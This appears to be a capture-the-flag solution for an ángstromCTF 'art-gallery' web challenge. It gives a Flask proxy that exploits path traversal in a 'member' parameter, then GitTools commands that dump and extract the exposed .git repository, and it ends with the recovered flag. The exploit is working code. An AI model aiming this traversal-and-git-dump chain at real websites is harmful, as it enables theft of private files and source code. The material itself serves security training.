- File
app.py
from flask import Flask, Response
import requests
app = Flask(__name__)
@app.route('/<path:f>')
def index(f):
res = requests.get("https://art-gallery.web.actf.co/gallery?member=../" + f)
if res.headers['content-type'] == 'application/octet-stream':
return res.content
else:
return Response(status=404)
app.run(debug=True)
-
Download GitTools
-
How to run:
python3 app.py
./gitdumper.sh http://localhost:5000/.git/ .
mv .git/ ../Extractor/
./extractor.sh . .
-
Flag in folder:
1-56449caeb7973b88f20d67b4c343cbb895aa6bc7
->actf{lfi_me_alone_and_git_out_341n4kaf5u59v}